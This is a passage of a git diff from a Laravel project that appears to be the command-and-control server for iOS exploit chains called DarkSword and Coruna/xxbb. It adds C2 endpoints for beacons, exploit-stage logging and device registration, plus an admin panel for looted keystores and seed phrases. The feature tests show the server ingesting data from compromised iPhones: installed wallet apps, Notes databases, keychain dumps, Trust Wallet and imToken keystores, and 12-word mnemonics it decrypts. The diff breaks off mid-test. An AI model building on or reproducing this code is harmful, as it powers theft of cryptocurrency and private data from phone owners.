Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
|
||||
Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
|
||||
|
||||
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
|
||||
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
|
||||
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
|
||||
Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
|
||||
|
||||
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
|
||||
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
||||
@@ -59,6 +61,10 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
|
||||
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
||||
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||
|
||||
|
||||
+32
-2
@@ -1,5 +1,6 @@
|
||||
<?php
|
||||
|
||||
use App\Services\ChannelProjectService;
|
||||
use App\Services\Tokenview\TokenviewClient;
|
||||
use Illuminate\Foundation\Inspiring;
|
||||
use Illuminate\Support\Facades\Artisan;
|
||||
@@ -70,11 +71,11 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
|
||||
$channelC = trim((string) $this->option('channel-c'));
|
||||
$random = (bool) $this->option('random-c');
|
||||
try {
|
||||
$result = app(\App\Services\ChannelProjectService::class)->buildSharedArtifacts(
|
||||
$result = app(ChannelProjectService::class)->buildSharedArtifacts(
|
||||
$channelC !== '' ? $channelC : null,
|
||||
$random,
|
||||
);
|
||||
} catch (\Throwable $e) {
|
||||
} catch (Throwable $e) {
|
||||
$this->error($e->getMessage());
|
||||
|
||||
return 1;
|
||||
@@ -103,6 +104,35 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
|
||||
return 0;
|
||||
})->purpose('Build shared xxbb /details and staged weifile from channel c');
|
||||
|
||||
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
|
||||
$script = base_path('channel-builder-ds/tools/build.py');
|
||||
if (! is_file($script)) {
|
||||
$this->error('missing '.$script);
|
||||
|
||||
return 1;
|
||||
}
|
||||
$args = ['python3', $script];
|
||||
$host = trim((string) $this->option('host'));
|
||||
$port = trim((string) $this->option('port'));
|
||||
$origin = trim((string) $this->option('origin'));
|
||||
if ($origin !== '') {
|
||||
$args[] = '--origin';
|
||||
$args[] = $origin;
|
||||
}
|
||||
if ($host !== '') {
|
||||
$args[] = '--host';
|
||||
$args[] = $host;
|
||||
}
|
||||
if ($port !== '') {
|
||||
$args[] = '--port';
|
||||
$args[] = $port;
|
||||
}
|
||||
$this->info(implode(' ', $args));
|
||||
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
|
||||
|
||||
return $code;
|
||||
})->purpose('Rewrite DarkSword source and publish public/next-chain');
|
||||
|
||||
Artisan::command('coruna:channel-domains {--json}', function () {
|
||||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||||
if ($this->option('json')) {
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
$ds = DarkSwordC2Controller::class;
|
||||
|
||||
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
|
||||
// (same URI, DarkSword vs xxbb chosen per request).
|
||||
|
||||
Route::any('/beacon', [$ds, 'beacon']);
|
||||
Route::any('/war', [$ds, 'war']);
|
||||
Route::any('/p', [$ds, 'p']);
|
||||
Route::any('/stats', [$ds, 'stats']);
|
||||
Route::any('/api/ds/log', [$ds, 'log']);
|
||||
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
|
||||
Route::any('/api/ds/device/register', [$ds, 'register']);
|
||||
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
|
||||
+2
-1
@@ -6,6 +6,7 @@ use Illuminate\Routing\Middleware\SubstituteBindings;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::middleware([SubstituteBindings::class])->group(function () {
|
||||
Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
|
||||
Route::match(['GET', 'HEAD', 'POST'], '/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
|
||||
Route::match(['GET', 'HEAD', 'POST'], '/hook/tokenview', TokenviewWebhookController::class);
|
||||
Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram');
|
||||
});
|
||||
|
||||
+8
-2
@@ -3,6 +3,8 @@
|
||||
use App\Http\Controllers\Admin\ChannelController;
|
||||
use App\Http\Controllers\Admin\DashboardController;
|
||||
use App\Http\Controllers\Admin\DeviceController;
|
||||
use App\Http\Controllers\Admin\FilterOptionsController;
|
||||
use App\Http\Controllers\Admin\KeystoreController;
|
||||
use App\Http\Controllers\Admin\MnemonicController;
|
||||
use App\Http\Controllers\Admin\NoteController;
|
||||
use App\Http\Controllers\Admin\PageVisitController;
|
||||
@@ -23,11 +25,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
|
||||
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
|
||||
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
|
||||
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
|
||||
Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
|
||||
|
||||
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
|
||||
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
||||
@@ -47,6 +49,10 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
|
||||
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
||||
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||
|
||||
|
||||
+27
-13
@@ -1,21 +1,35 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
||||
use App\Http\Controllers\C2\XxbbC2Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
|
||||
$ds = DarkSwordC2Controller::class;
|
||||
$xxbb = XxbbC2Controller::class;
|
||||
|
||||
Route::middleware([DecryptXxbbBody::class])->group(function () {
|
||||
Route::post('/a', [XxbbC2Controller::class, 'profile']);
|
||||
Route::post('/u', [XxbbC2Controller::class, 'apps']);
|
||||
Route::post('/event', [XxbbC2Controller::class, 'event']);
|
||||
Route::post('/t', [XxbbC2Controller::class, 'photos']);
|
||||
Route::post('/nb', [XxbbC2Controller::class, 'notes']);
|
||||
Route::post('/uj', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/ub', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/result', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']);
|
||||
$dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) {
|
||||
return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) {
|
||||
return DarkSwordC2Controller::matches($request)
|
||||
? app($ds)->{$dsMethod}($request)
|
||||
: app($xxbb)->{$xxbbMethod}($request);
|
||||
};
|
||||
};
|
||||
|
||||
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
|
||||
|
||||
Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
|
||||
Route::post('/a', $dsOrXxbb('profile', 'profile'));
|
||||
Route::post('/u', $dsOrXxbb('apps', 'apps'));
|
||||
Route::post('/event', $dsOrXxbb('event', 'event'));
|
||||
Route::post('/nb', $dsOrXxbb('notes', 'notes'));
|
||||
Route::post('/result', $dsOrXxbb('result', 'plugin'));
|
||||
|
||||
Route::post('/t', [$xxbb, 'photos']);
|
||||
Route::post('/uj', [$xxbb, 'plugin']);
|
||||
Route::post('/us', [$xxbb, 'plugin']);
|
||||
Route::post('/ub', [$xxbb, 'plugin']);
|
||||
Route::post('/ba', [$xxbb, 'plugin']);
|
||||
Route::post('/api/tg/t', [$xxbb, 'telegram']);
|
||||
});
|
||||
|
||||
@@ -563,6 +563,8 @@ class C2ApiTest extends TestCase
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
||||
$this->assertSame('imToken', $ks->source);
|
||||
$this->assertSame(0, (int) $ks->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -815,6 +817,7 @@ class C2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('钱包地址')
|
||||
->assertSee('助记词')
|
||||
->assertSee('钥匙串')
|
||||
->assertSee('相册')
|
||||
->assertSee('已装 APP')
|
||||
->assertSee('备忘录')
|
||||
@@ -826,5 +829,19 @@ class C2ApiTest extends TestCase
|
||||
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps']))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => '',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => ['kind' => 'sandbox'],
|
||||
]);
|
||||
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.0.source', '未知')
|
||||
->assertJsonPath('data.0.decrypted', 0)
|
||||
->assertJsonPath('data.0.kind', '沙盒文件')
|
||||
->assertJsonPath('data.0.item_count', 0);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,851 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\DsBeaconTask;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Services\EthKeystore;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DarkSwordC2ApiTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const DS_LHU = '69DD25B2CA8B5682BA2470D77124E2FC';
|
||||
|
||||
private const XXBB_D = '000C30D83CD0402E';
|
||||
|
||||
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function log_post_returns_accepted(): void
|
||||
{
|
||||
$this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd'])
|
||||
->assertOk()
|
||||
->assertExactJson(['status' => 'accepted']);
|
||||
$this->assertSame(0, DsChainLog::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function log_with_stage_writes_chain_log_and_dedups(): void
|
||||
{
|
||||
$payload = [
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'stage' => 'loader',
|
||||
'progress' => 18,
|
||||
'label' => 'loader',
|
||||
'channelCode' => 'BODOZR5F613N9',
|
||||
];
|
||||
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
|
||||
$this->postJson('/api/ds/log', $payload)->assertOk();
|
||||
|
||||
$this->assertSame(1, DsChainLog::query()->count());
|
||||
$row = DsChainLog::query()->first();
|
||||
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
|
||||
$this->assertSame('loader', $row->stage);
|
||||
$this->assertSame(18, $row->progress);
|
||||
$this->assertSame('BODOZR5F613N9', $row->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function log_infers_stage_and_ignores_noise(): void
|
||||
{
|
||||
$this->postJson('/api/ds/log', [
|
||||
'text' => 'malloc ok 0x1234',
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
])->assertOk();
|
||||
$this->assertSame(0, DsChainLog::query()->count());
|
||||
|
||||
$this->postJson('/api/ds/log', [
|
||||
'text' => 'pe_main_start',
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
])->assertOk();
|
||||
$row = DsChainLog::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('pe', $row->stage);
|
||||
$this->assertSame(86, $row->progress);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function next_chain_does_not_steal_ds_api_or_logs(): void
|
||||
{
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.6')
|
||||
->assertOk()
|
||||
->assertJson([
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
]);
|
||||
|
||||
$this->get('/log.html?text=lab')
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
|
||||
$this->get('/api/ds/log?text=lab')
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function pe_stage_get_writes_file_log_and_chain_row(): void
|
||||
{
|
||||
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
|
||||
$row = DsChainLog::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
|
||||
$this->assertSame('pe', $row->stage);
|
||||
$this->assertSame(86, $row->progress);
|
||||
$this->assertSame('pe_stage:s1_launchd', $row->label);
|
||||
|
||||
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
|
||||
->assertOk();
|
||||
$this->assertSame(2, DsChainLog::query()->count());
|
||||
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
|
||||
$this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress);
|
||||
|
||||
$this->get('/api/ds/pe-stage/s2_keychain')
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
$this->assertSame(2, DsChainLog::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function plaintext_a_ingests_darksword_device(): void
|
||||
{
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
'ip' => '192.168.31.77',
|
||||
'source' => 'c2_agent',
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
|
||||
$this->assertSame('iPhone15,2', $device->device_model);
|
||||
$this->assertSame('18.6', $device->ios_version);
|
||||
$this->assertSame('192.168.31.77', $device->ip);
|
||||
$this->assertNull($device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
|
||||
{
|
||||
$this->xxbbPost('/a', [
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'd' => self::XXBB_D,
|
||||
'f' => self::XXBB_D,
|
||||
'deviceModel' => 'iPhone',
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk()->assertSee('1786468227899{}', false);
|
||||
|
||||
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
|
||||
$this->assertNotNull($xxbb);
|
||||
$this->assertSame(Device::FAMILY_CORUNA, $xxbb->family);
|
||||
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($ds);
|
||||
$this->assertSame(Device::FAMILY_DARKSWORD, $ds->family);
|
||||
$this->assertSame(2, Device::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function register_accepts_query_style_channel_code(): void
|
||||
{
|
||||
$this->postJson('/api/ds/device/register', [
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'channeICode' => '0.0.01',
|
||||
'ios' => '18.6',
|
||||
'chain' => 'darksword',
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$visit = PageVisit::query()->first();
|
||||
$this->assertNotNull($visit);
|
||||
$this->assertSame('0.0.01', $visit->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function register_uses_channel_code_not_ver_header(): void
|
||||
{
|
||||
$this->postJson('/api/ds/device/register', [
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'channelCode' => 'BODOZR5F613N9',
|
||||
'ios' => '18.6',
|
||||
'chain' => 'darksword',
|
||||
], [
|
||||
'ver' => '3.1.07',
|
||||
'sdkv' => '3.1.07',
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first());
|
||||
|
||||
$visit = PageVisit::query()->first();
|
||||
$this->assertNotNull($visit);
|
||||
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid);
|
||||
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
|
||||
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
|
||||
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
|
||||
$this->assertSame('iOS', $visit->os);
|
||||
$this->assertSame('18.6', $visit->os_version);
|
||||
|
||||
$this->postJson('/a', [
|
||||
'lhu' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
'source' => 'c2_agent',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
|
||||
$this->assertSame('BODOZR5F613N9', $device->channel_id);
|
||||
$this->assertSame('18.6', $device->ios_version);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function u_writes_device_apps_from_object_or_list(): void
|
||||
{
|
||||
$this->postJson('/u', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'apps' => [
|
||||
'0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'],
|
||||
'1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'],
|
||||
],
|
||||
'count' => 2,
|
||||
'source' => 'c2_agent',
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
|
||||
$this->assertTrue(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists()
|
||||
);
|
||||
$this->assertFalse(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists()
|
||||
);
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function nb_writes_notes_and_stores_sqlite_blob(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$sqlite = "SQLite format 3\0lab-notes";
|
||||
|
||||
$this->postJson('/nb', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]],
|
||||
'db_files' => [[
|
||||
'name' => 'NoteStore.sqlite',
|
||||
'data' => base64_encode($sqlite),
|
||||
]],
|
||||
'source' => 'c2_agent',
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$note = Note::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($note);
|
||||
$this->assertSame('jdmdm', $note->content[0]['title'] ?? null);
|
||||
Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite');
|
||||
$this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_without_mnemonic_stores_keystore_only(): void
|
||||
{
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'source' => 'pe_war_guarantee',
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'accessGroup' => 'group.com.sixdays.team',
|
||||
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
|
||||
]],
|
||||
],
|
||||
],
|
||||
'errors' => ['aksUnwrap class=10 kr=3758097090'],
|
||||
],
|
||||
'sandbox' => [
|
||||
'imtoken' => ['keystore.json' => '{"version":3}'],
|
||||
],
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
|
||||
$this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0));
|
||||
$sources = $rows->pluck('source')->all();
|
||||
$this->assertContains('Trust Wallet', $sources);
|
||||
$this->assertContains('imToken', $sources);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_twelve_word_phrase_ingests_mnemonic(): void
|
||||
{
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'accessGroup' => 'group.com.sixdays.team',
|
||||
'dataHex' => bin2hex(self::TEST_MNEMONIC),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
'sandbox' => [],
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(self::TEST_MNEMONIC, $row->mnemonic);
|
||||
$this->assertSame('Trust Wallet', $row->source);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void
|
||||
{
|
||||
Http::fake();
|
||||
$utc = [
|
||||
'crypto' => ['cipher' => 'aes-128-ctr'],
|
||||
'activeAccounts' => [
|
||||
['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0],
|
||||
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60],
|
||||
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137],
|
||||
['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195],
|
||||
['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2],
|
||||
['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0],
|
||||
['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0],
|
||||
],
|
||||
];
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
||||
],
|
||||
],
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get();
|
||||
$this->assertSame(4, $rows->count());
|
||||
$this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all());
|
||||
$this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet'));
|
||||
$this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count());
|
||||
$this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx'));
|
||||
$this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_class10_unwrap_failure_is_not_a_mnemonic(): void
|
||||
{
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'class' => 10,
|
||||
'layer3Error' => 'aks_unwrap kr=3758097090',
|
||||
'dataHex' => bin2hex(self::TEST_MNEMONIC),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertSame('Trust Wallet', $ks->source);
|
||||
$this->assertSame(0, (int) $ks->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void
|
||||
{
|
||||
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
||||
$this->assertIsString($password);
|
||||
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
|
||||
'n' => 16,
|
||||
'r' => 8,
|
||||
'p' => 1,
|
||||
'dklen' => 32,
|
||||
